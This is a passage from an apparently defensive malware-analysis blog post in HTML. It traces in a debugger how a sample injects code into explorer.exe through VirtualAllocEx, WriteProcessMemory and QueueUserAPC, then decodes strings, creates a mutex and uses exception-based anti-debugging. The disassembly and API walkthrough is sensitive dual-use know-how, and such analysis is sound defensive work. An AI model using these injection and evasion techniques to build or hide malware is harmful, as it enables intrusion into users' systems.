GetWindowProcessThreadID<\/pre>\n<p>where 10004A6E does this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">10004A6E   55               PUSH EBP\n10004A6F   8BEC             MOV EBP,ESP\n10004A71   51               PUSH ECX\n10004A72   FF55 08          CALL DWORD PTR SS:[EBP+8]\n10004A75   85C0             TEST EAX,EAX\n10004A77   75 0A            JNZ SHORT 4A.10004A83\n10004A79   E8 6DFFFFFF      CALL 4A.100049EB\n10004A7E   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX\n10004A81   EB 0B            JMP SHORT 4A.10004A8E\n10004A83   8D4D FC          LEA ECX,DWORD PTR SS:[EBP-4]\n10004A86   51               PUSH ECX\n10004A87   50               PUSH EAX\n10004A88   FF15 D4910010    CALL DWORD PTR DS:[&lt;&amp;USER32.GetWindowThreadProcessId&gt;\n10004A8E   8B45 FC          MOV EAX,DWORD PTR SS:[EBP-4]\n10004A91   C9               LEAVE\n10004A92   C3               RETN<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image141.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb138.png\" width=\"652\" height=\"91\" \/><\/a><\/p>\n<p>The call to user32.GetTaskmanWindow returns this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image142.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb139.png\" width=\"661\" height=\"124\" \/><\/a><\/p>\n<p>The call to GetWindowThreadProcessId takes the following 2 parameters :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0001007E  ~..  |hWnd = 0001007E ('Running Applications',class='MSTaskSwWClass',parent=00010078)\n0012EA48   0012EA4C  L\u00ea.  \\pProcessID = 0012EA4C<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image143.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb140.png\" width=\"666\" height=\"120\" \/><\/a><\/p>\n<p>Basically, the GetWindowThreadProcessId will look for a window caption &quot;Running Applications&quot;. <\/p>\n<blockquote>\n<p>Tip : attach a debugger to explorer.exe and open the &quot;Windows&quot; view :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 603px; padding-right: 5px; height: 150px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Windows, item 31\n Handle=0001008A\n Title=Running Applications\n Parent=00010078\n Style=56010000\n Thread=0000064C\n ClsProc=FFFF04AA\n Class=MSTaskSwWClass<\/pre>\n<\/blockquote>\n<p>When the function 10004A6E ends, a process ID is stored in eax (Let's say the ID is 5FC)<\/p>\n<p>Then, OpenProcess() is called, taking the following parameters (note ProcessId = 5FC):<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0001007E  ~..  UNICODE &quot;<span style=\"color: #8b0000\">Documents and Settings\\corelan\\Application Data<\/span>&quot;\n0012EA48   0012EA4C  L\u00ea.\n0012EA4C   000005FC  \u00fc..\n0012EA50   001F0FFF  \u00ff.  |Access = PROCESS_ALL_ACCESS\n0012EA54   00000000  ....  |Inheritable = FALSE\n0012EA58   000005FC  \u00fc..  \\ProcessId = 5FC<\/pre>\n<p>So this opens a remote process.<\/p>\n<p>0x5FC = 1532\u2026&#160; and 1532 = explorer.exe <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image144.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb141.png\" width=\"503\" height=\"440\" \/><\/a><\/p>\n<p>OpenProcess() returns 0x7c<\/p>\n<p>VirtualAllocEx() is called (another indication of process injection), using 0x7C as first parameter :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0000007C  |...  |Arg1 = 0000007C\n0012EA48   00000000  ....  |Arg2 = 00000000\n0012EA4C   00001000  ...  |Arg3 = 00001000\n0012EA50   00001000  ...  |Arg4 = 00001000\n0012EA54   00000040  @...  \\Arg5 = 00000040<\/pre>\n<p>The virtualAlloc() call returns 013E0000 (eax)<\/p>\n<p>The WriteProcessMemory() call at 10004D11, uses the following parameters&#160; (again 0x7C as first parameter)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0000007C  |...  |hProcess = 0000007C (window)\n0012EA48   013E0000  ..&gt;  |Address = 13E0000\n0012EA4C   0012EA90  \u0090\u00ea.  |Buffer = 0012EA90\n0012EA50   00001000  ...  |BytesToWrite = 1000 (4096.)\n0012EA54   0012EA78  x\u00ea.  \\pBytesWritten = 0012EA78<\/pre>\n<p>We have seen this call before. We just didn't link it to the injection into another process at that point.&#160; Since this is a remote process injection, we cannot dump the contents of memory at 0x13E000 when debugging l.exe :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image145.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb142.png\" width=\"235\" height=\"50\" \/><\/a><\/p>\n<p>Before executing the WPM call, we dumped the source (4096 bytes, starting at 0012EA90) to file :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image146.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb143.png\" width=\"511\" height=\"85\" \/><\/a><\/p>\n<p>Ok, now we have been able to prove that something was injected into explorer.exe.<\/p>\n<p>Things are starting to make some sense now.<\/p>\n<p>Attach a debugger to explorer.exe and dump the contents of 13E0000 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image147.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb144.png\" width=\"549\" height=\"232\" \/><\/a><\/p>\n<p>as expected, this is an exact match with what was dumped to wpm.bin earlier :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image148.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb145.png\" width=\"550\" height=\"241\" \/><\/a><\/p>\n<p>Of course, analyzing this code outside of the context of explorer.exe would be nearly impossible.&#160; We really need to be able to trigger the execution of the code inside explorer.exe, within the context of the injection\/malware\u2026 So let's set a breakpoint on at 13E0000 (or the address that is used on&#160; your system).<\/p>\n<p>How does the injected code get called?&#160; What exactly triggers the execution?&#160; The WPM() itself only writes to the process memory. <\/p>\n<p>A few instructions below the WriteProcessMemory() call, at 0x10004D2D, a call is made to 10004A93. In that function, we see a call to kernel32.<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms682489(v=vs.85).aspx\">CreateToolhelp32Snapshot<\/a>(). This function will take a snapshot of a process (including heap, threads, modules). The arguments passed on to the function are<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA14   00000004  ...  |Flags = TH32CS_SNAPTHREAD\n0012EA18   00000000  ....  \\ProcessID = 0<\/pre>\n<p>This will make sure all threads are included in the snapshot (so they can be enumerated). The function call returns a handle to the snapshot in eax (0x80 in my example)<\/p>\n<p>Next, we see an iteration that will enumerate\/locate threads.&#160; The loop starts with a single call to Thread32First (which is needed to get the first thread in the array). We'll probably see calls to Thread32Next later on (to find all other threads).<\/p>\n<p>The Thread32First call takes a handle to the snapshot as first argument, and pThreadEntry (a pointer) as second argument, containing 0012EA24 at this point.&#160; 0x0012EA24 contains 0x1C<\/p>\n<p>As expected, a call to Thread32Next is made (at 10004B02) (using the same arguments as the ones used in Thread32First). The iteration goes on until it returns thread 0x630 in eax (and a pointer into the injected memory in explorer.exe)<\/p>\n<p>At that point, a call to kernel32.OpenThread() is executed (returning a handle in eax), followed by kernel32.<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms684954(v=vs.85).aspx\">QueueUserAPC<\/a>(handle) (with a pointer to a memory location on the stack). This function will add a usermode asynchronous procedure call (APC) to the APC queue of the specified thread. This technique, also documented here, is used to call the injected code.<\/p>\n<p>When the function is called, a pointer to the base address of the injected code (explorer.exe) is at the top of the stack.<\/p>\n<p>In that function, a call to ntdll.RtlQueryInformationActivationContext is made, followed by&#160; ntdll.ZwQueueApcThread. Then the handle to the thread is closed.<\/p>\n<p>As soon as the thread in explorer.exe is found and the call to QueueUserAPC(handle) is executed, the breakpoint in explorer.exe (013E0000) was hit !<\/p>\n<blockquote>\n<p>Note : while documenting the analysis, I had to restart debugging process a couple of times. This means that some of the allocated memory addresses might be different. During a second run, the memory allocated in the explorer.exe process is 02270000, so the screenshots below will contain 02270000 instead of 013E0000<\/p>\n<\/blockquote>\n<p>Breakpoint hit in explorer.exe :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image149.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb146.png\" width=\"345\" height=\"445\" \/><\/a><\/p>\n<blockquote>\n<p>Quick sidenote : if you are interested in debugging the injected code in explorer.exe, use the following steps to jump right in :<\/p>\n<ol>\n<li>open l.exe in the debugger and run !hidedebug all_debug <\/li>\n<li>set a breakpoint at 0x00401FB4 and press F9.&#160; Debugger should hit the breakpoint at the loadlibrary call. Use F8 to execute the Loadlibrary call <\/li>\n<li>set a breakpoint at 0x10004CF9 <\/li>\n<li>set a breakpoint at 0x10004D11 and press F9 <\/li>\n<li>Press Shift+F9 at the first exception <\/li>\n<li>Press Shift+F9 at the second exception <\/li>\n<li>Breakpoint at 0x10004CF9 will be hit (VirtualAllocEx()). Use F8 to execute the call and take note of the heap address returned in EAX (For example 01290000). Press F9 again. <\/li>\n<li>You will end up at the WriteProcessMemory() call. Use F8 to execute the call and then leave l.exe paused <\/li>\n<li>Open a second debugger and attach it to explorer.exe.&#160; Set a breakpoint at the address that you saw in the Address argument in the first debugger (attached to l.exe)&#160; (01290000for example).&#160; The instruction at that location should be PUSH ESI. Press F9 to continue to run explorer.exe <\/li>\n<li>Go back to the first debugger (l.exe). Set a breakpoint at 0x10004A91. Press F9.&#160; Breakpoint should be hit (call to a function which contains a call to Kernel32.CreateToolhelp32Snapshot, Thread32First, OpenThread etc). These last 2 functions are part of an iteration which will eventually trigger the breakpoint in explorer.exe to be hit.&#160; Set a breakpoint at 0x10004B0B (right after the iteration) and press F9 <\/li>\n<li>The breakpoint in the second debugger (at 01290000 or whatever the address is in your case) should now be hit.&#160; You are now ready to analyse the injected code in explorer.exe <\/li>\n<\/ol>\n<\/blockquote>\n<p>&#160;<\/p>\n<h5>Injected code - run 1<\/h5>\n<p>The first thing the injected code does is to load pnen3260.dll (a file that was created by l.exe), by calling LoadLibraryA(), via CALL DWORD PTR DS:[ESI]. Again, instead of using a direct call to kernel32.LoadLibrary() (which might arouse suspicion), the necessary pointers are strings were also injected by l.exe into explorer.exe, and stored at [base_of_injected_code+0x400] :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb.png\" width=\"584\" height=\"245\" \/><\/a><\/p>\n<p>(after all, the necessary function pointer(s) were already retrieved and stored earlier (by l.exe))<\/p>\n<p>The LoadLibrary call will read the dll file into memory (00DC0000 in my case, base will most likely be different on your machine).<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image165.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb162.png\" width=\"718\" height=\"97\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image551.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image551_thumb.png\" width=\"414\" height=\"78\" \/><\/a><\/p>\n<p>Next, a function in the dll is called (The offset to the function was first put in ESI, and then added to the base of the dll via ADD ESI,EAX) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image167.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb164.png\" width=\"686\" height=\"292\" \/><\/a><\/p>\n<p>In this first function we see this : (don't worry about base address being different- I had to reload the debugger a few times and the dll got loaded at a different base\u2026 it might\/will be different on your machine too. If you're lucky, the low bits will be the same as the ones in my screenshots, so it should be trivial to follow\/recognize the corresponding instructions)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image168.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb165.png\" width=\"685\" height=\"345\" \/><\/a><\/p>\n<p>The GetModuleFileNameA() function (hModule set to null, PathBuffer set to EBP-108 and BufSize set to 104) will retrieve the full path to explorer.exe, convert it to lowercase, and write it to EBP-108.&#160; Then, a pointer to this string is put in eax, and pushed onto the stack, prior to calling function pnen3260.00DC60E6.&#160; In that function, the string is written to a location in memory, and then a jump is made to 00DC61D8, where function 00DC5F3B is called, which removes a record from the SEH Chain and finally returns.&#160; Then function 00DC6060 is called, where &quot;explorer.exe&quot; is extracted from the string, and a pointer to it is stored in eax.<\/p>\n<p>Then, a call to CreateThread is prepared, using a pointer to a function in pnen3620.dll as ThreadFunction. <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image169.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb166.png\" width=\"656\" height=\"253\" \/><\/a><\/p>\n<p>One of the arguments to the CreateThread() call is a pointer to the previously injected code. Set a breakpoint at that pointer (00DC1AA0 in my example). Execute the&#160; CreateThread() call and continue to step (it will eventually return and leave the injected code, and starts running code in kernel32.&#160; Continue to setp until you reach the point where you can see a call to that function&#160; (when ntdll.ZwContinue is called at 7C90E45A - so make sure to set the breakpoint to xxxx1AA0 before seeing that call)<\/p>\n<p>(If you are not able to reproduce this, you can also replace the call to CreateThread() with a call to xxxx1AA0)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image751.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image751_thumb.png\" width=\"396\" height=\"175\" \/><\/a><\/p>\n<p>(Click assemble and close the popup)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image171.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb168.png\" width=\"635\" height=\"98\" \/><\/a><\/p>\n<p>Step into that call (F7) &amp; proceed the analysis.<\/p>\n<p>Anyways, at xxxx1AA0, we see this function :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image172.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb169.png\" width=\"564\" height=\"400\" \/><\/a><\/p>\n<p>Function xxxx400A gets called. In that function, LocalAlloc() allocates 0x1D0 bytes (with flags LPTR), returning 001129D0 (or something similar) in eax.<\/p>\n<p>Then function xxxx5B20 is called, where 88 dwords are copied to 00112A40 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image173.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb170.png\" width=\"557\" height=\"256\" \/><\/a><\/p>\n<p>and then the function returns to xxxx4061. EAX is set to 00112A40 and function xxxx3A69 is called.<\/p>\n<p>In that function, we see an iteration (counter in ESI)&#160; :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image3.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb3.png\" width=\"544\" height=\"234\" \/><\/a><\/p>\n<p>The iteration makes a call to xxxx5B20. Next function xxxx39E6 gets called, and then function xxxx5B20 gets called again. When the loop in xxxx5B20 ends, data at pnen3260's DS (xxxx2A40) has been changed (decoded)&#160;&#160; (just pay attention to the value of EDI in the REP instruction and you'll see where it gets written to in your case)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image7.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb7.png\" width=\"541\" height=\"302\" \/><\/a><\/p>\n<p>We see a few interesting things\/strings :<\/p>\n<ul>\n<li>kernel32.dll <\/li>\n<li>%APPDATA%\\Tencent\\&#160; (a folder we might want to keep an eye one) <\/li>\n<li>Accept *\/*&#160; (part of a http request header ?) <\/li>\n<li>_!RKU#PNP#090921!_ (not sure what this is atm) <\/li>\n<li>http:\/\/ <\/li>\n<li>Software\\RealOne <\/li>\n<li>RVClass <\/li>\n<li>htmlfile\\shell\\open\\command <\/li>\n<li>wininet.dll&#160; (functions from this module can be used to access the internet, using the browser's proxy server settings) <\/li>\n<li>.7z <\/li>\n<li>dnsapi.dll <\/li>\n<li>%s%s (looks like something needs to be concatenated ?) <\/li>\n<li>iphlpapi.dll <\/li>\n<li>Plugin2a.Section <\/li>\n<li>Class <\/li>\n<li>mswsock.dll <\/li>\n<li>Section.SessionAcl.%d <\/li>\n<li>ws2_32.dll <\/li>\n<li>*.* <\/li>\n<li>.exe <\/li>\n<li>%ProgramFiles%\\Real <\/li>\n<li>ra32clv.dll <\/li>\n<li>sipr3260.dll <\/li>\n<li>pngu3267.dll <\/li>\n<li>shlwapi.dll <\/li>\n<li>user32.dll <\/li>\n<li>DialogBoxParamW&#160;&#160; (interesting function - not sure why malware would need it\u2026 unless it wants to hook it &amp; use it to get code to execute) <\/li>\n<\/ul>\n<p>Then, the function returns and continues execution at xxxx4074. <\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image8.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb8.png\" width=\"678\" height=\"296\" \/><\/a><\/p>\n<p>Between xxxx4089 and xxxx4A0D, we see another iteration. (counter in ebx, compared with ESI (0x160 or 352 decimal, which is the number of bytes that were decoded prior to running this routine)). This iteration seems to enumerate all strings in the array that was created earlier (00112A40).&#160; <\/p>\n<p>We can clearly see ECX pointing at &quot;kernel32.dll&quot;, &quot;%APPDATA%\\Tencent\\&quot;, &quot;Accept: *\/*&quot;, and so on.&#160; <\/p>\n<p>Each time a string is found (each time a null byte is found), the pointer to that particular string is written to [EDX+EAX]. EAX points at a location just above the strings and EDX is obviously used as an offset :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image11.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb11.png\" width=\"540\" height=\"167\" \/><\/a><\/p>\n<p>At the start of the loop, there's CMP EDX,70. EDX is only incremented when a string has been retrieved.<\/p>\n<p>When all pointers have been written, the function returns to xxxx1AC0, where TEST EAX,EAX is used to determine whether a jump has to be made to xxxx1B2C or not.&#160; That would result in ending the function, but since EAX = 1, the jump is not taken.&#160; The reason I mention this is because anti-debugger techniques often use test eax,eax to verify the output of a call earlier and break the flow based on the outcome.<\/p>\n<p>Anyways, the code continues and sets up a call to ADVAPI32.InitializeSecurityDescriptor.&#160; Parameter pSecDescr points at xxxxB560 (in pnen3260.dll) so let's put a breakpoint on that address (just in case - it doesn't contain anything at this point). ECX still points at the last string in the array (&quot;DialogBoxParamW&quot;). After the call is executed, ECX is set to xxxxB560.<\/p>\n<p>Next, a call to ADVAPI32.SetSecurityDescriptorDacl is executed (pointing at xxxxB560). When this call returns, xxxxB560 contains 04000000.<\/p>\n<p>Function xxxx2DA2 is now called, retrieving pointer to string &quot;_!RKU#PNP#090921!_&quot;, followed by a call to CreateMutexA<\/p>\n<p>The parameters to this call are <\/p>\n<ul>\n<li>pSecurity : pointer to xxxxB550 (which contains 0xC) <\/li>\n<li>InitialOwner : FALSE <\/li>\n<li>MutexName : &quot;_!RKU#PNP#090921!_&quot; <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image175.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb172.png\" width=\"555\" height=\"171\" \/><\/a><\/p>\n<p>That makes sense - it's quite normal for malware to check if it's already running or not, and the use of a Mutex facilitates this well. When the call returns, EAX contains a value (518 in my case), which gets stored on the stack [EBP-8]<\/p>\n<p>RtlGetLastWin32Error returns 0, so a jmp is made to xxxx1B30.&#160; In that function, a LocalAlloc() call used to allocate memory, and a pointer to the allocated space is returned in eax. (00142CB0 in my example, which gets written to pnen3260 DS xxxxB444)<\/p>\n<p>Then, a pointer to the begin of pnen3260.dll is written to 00142CB4, and function xxxx3DDF is called, which calls xxxx3D90. In that function, SLDT&#160; and the function returns. Next, function xxxx3DEC is called, which calls xxxx3DA7, and returns.<\/p>\n<p>Function xxxx3D37 is then called, which calls xxxx5F00. In that routine, an exception handler is put in place (pointing to xxxx5F54)\u2026 and guess what\u2026 at xxxx3D5F, an exception is triggered.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/01\/image5.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2011\/01\/image_thumb5.png\" width=\"547\" height=\"109\" \/><\/a><\/p>\n<p>(We have seen the use of SEH to redirect flow before).&#160; With a breakpoint set at xxxx5F54, pass the exception to the application (Shift F9), which will trigger the bp at the SE Handler to be hit.&#160; <\/p>\n<p>In one of the called child functions (xxxx6996), the linear address of TIB is grabbed and put in EAX (MOV EAX, DWORD PTR FS:[18] - at xxxx69AF).<\/p>\n<p>&#160;<\/p>\n<p>In one of the called child functions, a <a href=\"https:\/\/web.archive.org\/web\/20170831042305\/https:\/\/msdn.microsoft.com\/en-us\/library\/aa366902(v=vs.85).aspx\">VirtualQuery<\/a> is executed, with the following arguments :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00E7F670   00DC9318  \u201c\u00dc.  |Address = pnen3260.00DC9318\n00E7F674   00E7F688  \u02c6\u00f6\u00e7.  |Buffer = 00E7F688\n00E7F678   0000001C  ...  \\BufSize = 1C (28.)<\/pre>\n<p>The buffer points at &quot;PE&quot; in pnen3260.dll (which indicates the start of the PE header of the module)<\/p>\n<p>Then a few calls to kernel32.<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms683590(v=vs.85).aspx\">InterlockedExchange<\/a>() are performed (at 00DC6AC7) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00E7F674   00DCB4B0  \u00b0\u00b4\u00dc.  |pTarget = pnen3260.00DCB4B0\n00E7F678   00000001  ...  \\NewValue = 1<\/pre>\n<p>(result of this call : 0x01 : written to xxxxB4B0)<\/p>\n<p>at 00DC6B2C :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 